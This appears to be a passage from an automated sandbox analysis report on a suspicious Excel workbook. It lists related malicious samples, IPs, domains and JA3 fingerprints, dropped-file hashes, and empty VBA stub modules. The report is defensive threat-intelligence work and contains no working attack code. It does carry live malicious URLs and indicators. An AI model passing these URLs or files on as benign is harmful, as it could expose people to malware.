Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:13:32	API Interceptor	798x Sleep call for process: splwow64.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
13.107.253.72	https://go.irt.calyx.ai/Live	Get hash	malicious	Unknown	Browse
	Purchase Order.xla.xlsx	Get hash	malicious	Unknown	Browse
	Confirmation number 0001592289.xls	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0-1.eml	Get hash	malicious	HTMLPhisher	Browse
	SecuriteInfo.com.Win64.Malware-gen.1550.5420.exe	Get hash	malicious	Unknown	Browse
	MITRE Enterprise ATTACK v16.1.xlsx	Get hash	malicious	Mimikatz	Browse
	05 BOIRON F 240700457 ORDEN 05 MAR 2025.xls	Get hash	malicious	Unknown	Browse
	RFQ-JC25-#595837.xlsx	Get hash	malicious	Unknown	Browse
	edinburghchamberPay-Advice#03042025.xlsb	Get hash	malicious	Unknown	Browse
	https://portal.facilityos.com/	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	TNOR_CYCLE_C2_250000615284_32106010359796_E_BDA_0_E_20250310_192757#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	199.232.210.172
	cv(german-v).pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	RYvYMFbc37.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	199.232.210.172
	xwM9kaAoeY.bat	Get hash	malicious	Unknown	Browse	199.232.214.172
	6DRdNEnOMn.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.210.172
	fg.exe	Get hash	malicious	XWorm	Browse	199.232.214.172
	FUJFazcSyr.exe	Get hash	malicious	AsyncRAT, DarkTortilla, XWorm	Browse	199.232.210.172
	Loader.exe	Get hash	malicious	Quasar	Browse	199.232.210.172
	zabwpkovl0.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	Legjong.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
s-0005.dual-s-dc-msedge.net	FW+RemittanceE-staments.E-Code-pjRaXYOnxvXfztC+ApprovalCode-917008541420381.eml	Get hash	malicious	unknown	Browse	52.123.131.14
	VOIR LE DOCUMENT COMPLET.eml	Get hash	malicious	HTMLPhisher	Browse	52.123.131.14
	MITRE Enterprise ATTACK v16.1.xlsx	Get hash	malicious	Mimikatz	Browse	52.123.130.14
	Message.eml	Get hash	malicious	Unknown	Browse	52.123.130.14
	Message.eml	Get hash	malicious	Unknown	Browse	52.123.130.14
	_EXT_ _EXT_ Hydraulic pump.msg	Get hash	malicious	Unknown	Browse	52.123.131.14
	05 BOIRON F 240700457 ORDEN 05 MAR 2025.xls	Get hash	malicious	Hidden Macro 4.0	Browse	52.123.131.14
	Quote 09052022-008_1.xlsx	Get hash	malicious	Unknown	Browse	52.123.131.14
	Quote 09052022-008_1.xlsx	Get hash	malicious	Unknown	Browse	52.123.130.14
	file.0xd10e5bd05bb0.0xd10e58feb750.DataSectionObject.CV.docm.docm	Get hash	malicious	Unknown	Browse	52.123.131.14
s-part-0044.t-0009.fb-t-msedge.net	https://go.irt.calyx.ai/Live	Get hash	malicious	Unknown	Browse	13.107.253.72
	Purchase Order.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.253.72
	Confirmation number 0001592289.xls	Get hash	malicious	Unknown	Browse	13.107.253.72
	ADFoyxP.exe	Get hash	malicious	KeyLogger, StormKitty, VenomRAT	Browse	13.107.253.72
	phish_alert_sp2_2.0.0.0-1.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.253.72
	https://assets-fra.mkt.dynamics.com/a4eec278-88f9-ef11-b013-6045bd6e9afa/digitalassets/standaloneforms/c345aa34-aff9-ef11-bae1-000d3a8999ae	Get hash	malicious	Unknown	Browse	13.107.253.72
	SecuriteInfo.com.Win64.Malware-gen.1550.5420.exe	Get hash	malicious	Unknown	Browse	13.107.253.72
	Bank Details.Docx	Get hash	malicious	Microsoft Phishing	Browse	13.107.253.72
	MITRE Enterprise ATTACK v16.1.xlsx	Get hash	malicious	Mimikatz	Browse	13.107.253.72
	05 BOIRON F 240700457 ORDEN 05 MAR 2025.xls	Get hash	malicious	Unknown	Browse	13.107.253.72

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	apep.x86.elf	Get hash	malicious	Unknown	Browse	104.168.61.9
	SecuriteInfo.com.Trojan.Siggen30.32904.13677.12750.exe	Get hash	malicious	Unknown	Browse	104.168.28.10
	niceworkingskillwthichbetterperformancefromme.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	172.245.123.17
	nicegirlwanttokissingmylipswithnicely.hta	Get hash	malicious	Remcos	Browse	198.46.178.132
	dxRwXy19pq.exe	Get hash	malicious	Socks5Systemz	Browse	104.168.28.10
	UpdatedStatementSheet_InvoicesPaid_PaymentAdviceFPJUSHNRVB.html	Get hash	malicious	Unknown	Browse	104.168.69.110
	12321321.exe	Get hash	malicious	Socks5Systemz	Browse	104.168.28.10
	SWIFT COPY.xls	Get hash	malicious	Unknown	Browse	23.95.235.9
	SWIFT COPY.xls	Get hash	malicious	Unknown	Browse	23.95.235.9
	SWIFT COPY.xls	Get hash	malicious	Unknown	Browse	23.95.235.9
AMAZONEXPANSIONGB	3CXHt817IG.exe	Get hash	malicious	FormBook	Browse	3.33.130.190
	https://www.vecteezy.com/photo/37980743-defocused-blurred-image-of-inside-pharmacy-store-for-abstract-background	Get hash	malicious	Unknown	Browse	52.223.40.198
	niceworkingskillwthichbetterperformancefromme.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	3.33.130.190
	https://gumbys.com	Get hash	malicious	Unknown	Browse	52.223.40.198
	5IbkCQPDbQ.exe	Get hash	malicious	FormBook	Browse	3.33.130.190
	mfIKZpIL0X.exe	Get hash	malicious	FormBook	Browse	3.33.130.190
	NEW PURCHASE ORDER.exe	Get hash	malicious	FormBook	Browse	3.33.130.190
	lJEn8ko37k.exe	Get hash	malicious	FormBook	Browse	3.33.130.190
	docs attached, DHL 1344857301..exe	Get hash	malicious	FormBook	Browse	3.33.130.190
	https://www.gruzoved.com/blog/post/eshe-dve-dorogi-zakryli-na-sahaline-iz-za-nepogody/?next=https%3A%2F%2Fgamma.app%2Fdocs%2Fmeyertrucks-Trust-Meyer-Trucks-diesel-truck-bus-parts-q218q3p16jcbi7h%3Fmode%3Dpresent%23card-5kvf1fu5246tolr	Get hash	malicious	Unknown	Browse	3.33.235.18
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://t.co/mY98iSAcuv	Get hash	malicious	Unknown	Browse	40.114.178.124
	f492136216_mpengine_dll	Get hash	malicious	Unknown	Browse	204.79.197.203
	https://go.irt.calyx.ai/Live	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://dsl.mycomputer2000.com/zzzz/23RDJANUARY%20OVERDUE.INV.PDF.7z	Get hash	malicious	Unknown	Browse	104.40.67.196
	Maria Sit_imccwzlgvfw.html	Get hash	malicious	HTMLPhisher	Browse	40.114.177.156
	splspc.elf	Get hash	malicious	Unknown	Browse	20.104.199.213
	nklx86.elf	Get hash	malicious	Unknown	Browse	13.65.160.210
	nklarm.elf	Get hash	malicious	Unknown	Browse	191.234.39.19
	nklspc.elf	Get hash	malicious	Unknown	Browse	143.98.79.210
	nklmips.elf	Get hash	malicious	Unknown	Browse	20.113.132.10

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
6271f898ce5be7dd52b0fc260d0662b3	https://t.co/mY98iSAcuv	Get hash	malicious	Unknown	Browse	3.39.153.44
	NEW ORDER (PO. 2100002 (BT-INC).xls	Get hash	malicious	Unknown	Browse	3.39.153.44
	New Order.xls	Get hash	malicious	Unknown	Browse	3.39.153.44
	Purchase Order.xla.xlsx	Get hash	malicious	Unknown	Browse	3.39.153.44
	Purchase Order.xla.xlsx	Get hash	malicious	Unknown	Browse	3.39.153.44
	Doc9078786968795776764567.xla.xlsx	Get hash	malicious	Unknown	Browse	3.39.153.44
	NEW ORDER (PO. 2100002 (BT-INC).xls	Get hash	malicious	Unknown	Browse	3.39.153.44
	New Order.xls	Get hash	malicious	Unknown	Browse	3.39.153.44
	Purchase Order.xla.xlsx	Get hash	malicious	Unknown	Browse	3.39.153.44
	Purchase Order.xla.xlsx	Get hash	malicious	Unknown	Browse	3.39.153.44
a0e9f5d64349fb13191bc781f81f42e1	EasyWay.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.253.72
	Aura.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.253.72
	EasyWay.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.253.72
	Aura.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.253.72
	SecuriteInfo.com.Trojan.PWS.Lumma.1819.11767.23234.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.253.72
	SecuriteInfo.com.Trojan.PWS.Lumma.1819.32341.28310.exe	Get hash	malicious	LummaC Stealer, RHADAMANTHYS	Browse	13.107.253.72
	HjBGqnNSh1.exe	Get hash	malicious	Unknown	Browse	13.107.253.72
	BTn1AT2k3Y.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.253.72
	OjM4NF84XM.exe	Get hash	malicious	Amadey, GCleaner, LummaC Stealer	Browse	13.107.253.72
	6DRdNEnOMn.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.253.72

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Users\user\AppData\Local\Temp\EA3C7C38.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	784
Entropy (8bit):	2.7137690747287806
Encrypted:	false
SSDEEP:	24:YIrNvpKAzLRwcfHGF8AJp9WtAZRJ5poIHWI:YmbfzLmc88AJtfJ52IHV
MD5:	09F73B3902CD3D88E04312787956B654
SHA1:	A6C275F1A65DB02D8A752C614C27E88326447C41
SHA-256:	72971990E5DC57AC8F4F27701158F6DC16E235814EA17DECA95E59CF5F60BC26
SHA-512:	6A68530BA4D4413B587E340CF871162036B6AC60AC0F969C07C70967C3102ADDE3C895BA6F1E2590D9D0C98C253ADFA33CA84E65106C3B56F506FE0E06F0ADA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	3.7.4.6.3.7.6.,.1.1.9.6.3.7.8.,.1.7.8.8.6.5.8.,.2.5.5.0.5.0.8.8.,.1.2.5.,.1.1.9.,.3.0.0.4.9.2.6.8.,.;.3.2.9.4.5.8.7.9.9.,.3.7.4.6.3.7.8.,.6.3.6.4.3.3.4.,.3.0.1.5.3.7.2.1.,.2.3.7.1.6.5.1.,.6.5.4.0.2.1.5.,.2.4.6.0.9.2.5.8.,.4.0.6.9.3.5.8.2.,.1.0.4.9.5.2.3.4.,.6.3.6.4.3.1.8.,.3.0.1.2.3.4.6.6.,.2.7.1.5.3.4.9.7.,.6.3.7.1.6.9.4.,.5.9.2.2.3.4.2.3.,.5.7.9.9.9.6.6.1.,.1.5.6.1.9.5.8.,.6.3.0.6.3.0.9.9.,.2.7.3.6.0.0.9.5.,.5.8.4.2.5.8.6.0.,.6.3.6.4.3.3.7.,.6.1.7.0.7.3.0.7.,.6.3.6.4.3.3.0.,.6.3.6.4.3.3.1.,.6.7.4.8.3.9.6.1.4.,.3.3.7.9.1.6.2.,.4.7.3.8.2.9.4.8.,.1.6.5.7.4.5.3.,.1.0.6.9.5.5.2.,.1.6.5.7.4.5.2.,.5.2.9.1.0.0.0.0.,.1.3.5.2.5.8.6.,.1.3.5.2.5.8.7.,.1.7.7.1.6.5.7.,.1.0.2.3.8.6.4.,.1.0.2.3.6.3.8.,.6.3.7.1.6.9.5.,.4.8.1.9.5.5.3.8.,.1.4.6.1.9.5.3.,.6.3.6.4.3.3.2.,.3.2.0.5.9.2.7.6.7.,.

C:\Users\user\AppData\Local\Temp\~DF98A3782FC6E974ED.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	1062912
Entropy (8bit):	7.934977078629466
Encrypted:	false
SSDEEP:	24576:TfcKRlMeF5vSrSP42f7ScfeTlCXE5cUJIwg:Lt7rf+cfksTUzg
MD5:	83B545BE740DEF35E8CFD1159E915B9D
SHA1:	906C69CADF9628CE9EE84930A14AE6C7AEA4D6D9
SHA-256:	1634EDF28461DC3152CF0C494AC4C1D9EC3D440D795C38E3ADD854FD2CD35135
SHA-512:	3EDD2C884BF44A8A4E85FF2EFF336148C804277A3CB62DF6E9A47B2666F298628458E95FA209BD01ADC6303BB09151ECFEA65B97D8B282DE10E65E40ACDF2557
Malicious:	false
Reputation:	low
Preview:	......................>...................H........................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...........................................................................................................................................................................................................................................................................................................................................................................................................................................................J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Temp\~DFA504262EE9A10901.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFCA5953CDDC16AC27.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	1044480
Entropy (8bit):	7.958663386304986
Encrypted:	false
SSDEEP:	24576:PfcKRlMeF5vSrSP42f7ScfeTlCXE5cUJIwg:Ht7rf+cfksTUzg
MD5:	E585534DC5894BF36B8F636108C861CA
SHA1:	33C233B8EC0C9E16F46052E24559C29CBBBE0249
SHA-256:	44E034B301E501255FE4BA214B3A5A2824813B414D751814D8609DBD04DB8073
SHA-512:	7A577D548E0FEE5FF66CF346E22A195F27040B57186DA7CAA0DCAF4F70146061012CD2D50A6200DC5F645B016F5359B2782A36421C50FF018EB00972E54A8983
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\60A20000

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Mar 10 08:13:46 2025, Security: 1
Category:	dropped
Size (bytes):	1304064
Entropy (8bit):	7.98889625528205
Encrypted:	false
SSDEEP:	24576:LfcKRlMeF5vSrSP42f7ScfeTlCXE5cUJIwgQiHf57UMYcCrSU:jt7rf+cfksTUzgQQPOSU
MD5:	66E5944092CD52EE5A76A69C863C8067
SHA1:	AF7C5293AC7C77AAD6423F2512FA284F4A238E7E
SHA-256:	D71AD351BECA7E766E2AFDB5DF547B73BC00D8161A8217483B2BC5A6A0A1AFA1
SHA-512:	3D4CB0E3909E7043AB1996A51A21CE3149773165211AC9FEF2D5F711735D5A64660F87702F6AF40F85535922397C9D3C8CB533D66F96757FDCB8D607C90209CC
Malicious:	false
Preview:	......................>.......................................................................................................................h.......j................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\60A20000:Zone.Identifier

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\POETDB24-25771.xla.xls (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Mar 10 08:13:46 2025, Security: 1
Category:	dropped
Size (bytes):	1304064
Entropy (8bit):	7.98889625528205
Encrypted:	false
SSDEEP:	24576:LfcKRlMeF5vSrSP42f7ScfeTlCXE5cUJIwgQiHf57UMYcCrSU:jt7rf+cfksTUzgQQPOSU
MD5:	66E5944092CD52EE5A76A69C863C8067
SHA1:	AF7C5293AC7C77AAD6423F2512FA284F4A238E7E
SHA-256:	D71AD351BECA7E766E2AFDB5DF547B73BC00D8161A8217483B2BC5A6A0A1AFA1
SHA-512:	3D4CB0E3909E7043AB1996A51A21CE3149773165211AC9FEF2D5F711735D5A64660F87702F6AF40F85535922397C9D3C8CB533D66F96757FDCB8D607C90209CC
Malicious:	false
Preview:	......................>.......................................................................................................................h.......j................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\~$POETDB24-25771.xla.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.5231029153786204
Encrypted:	false
SSDEEP:	3:WH25nJFV:WH2/
MD5:	FB5ABAA34A0BB284B640327B9745AAAC
SHA1:	7E1063A0F1DE0E83424399F104C1D3752BFAECDE
SHA-256:	12464C713EE2E0CBBDCF98FACF8AC034D34A9F4D221D7BB7A5C7D458AAEC0AF9
SHA-512:	0FB235A4475D72D9BB6A195F6DFE471152B91F6DE0967D4174298D0A3C228BFF0ED57F0A5F388833A7793BD90F6CA0D5A974D21D795938D8D96C079AB5D99294
Malicious:	true
Preview:	.user ..h.u.b.e.r.t. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Mar 10 05:35:35 2025, Security: 1
Entropy (8bit):	7.979014653469718
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	POETDB24-25771.xla.xlsx
File size:	1'193'984 bytes
MD5:	70ff76bdbb7897e2c3731021351facd3
SHA1:	107545e7202e995328364052a96083e743881acc
SHA256:	faf027205ff3109e74b13910c005ddb30148d1c9bb71f4d8739949d04a6be27d
SHA512:	1251a225e7d65fbd62efdb086d636c533f5b2cbd767d6bd54911b45d2b6c44d4e78e96ac4caa0d54f6273a56217c5c529ce001021c2afeafd20149ece282fa0c
SSDEEP:	24576:nJIwgRIb3nOXYXKFlQB0Nu/qhChhPCwTobQQN:nzgO7O7Fl2OrhCH6D
TLSH:	604523E4FD98BB06DF0702365B4ED46E481BBF1E2291800B763037AE1A37E6D44F6526
File Content Preview:	........................>...............................................................................................................{.......}..............................................................................................................

File Icon


Icon Hash:	35e58a8c0c8a85b9

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "POETDB24-25771.xla.xlsx"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2025-03-10 05:35:35
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E B . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 c5 45 42 15 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E : . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 c5 45 cf 3a 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - . 0
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 c5 45 92 e8 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E g . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 c5 45 e4 67 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
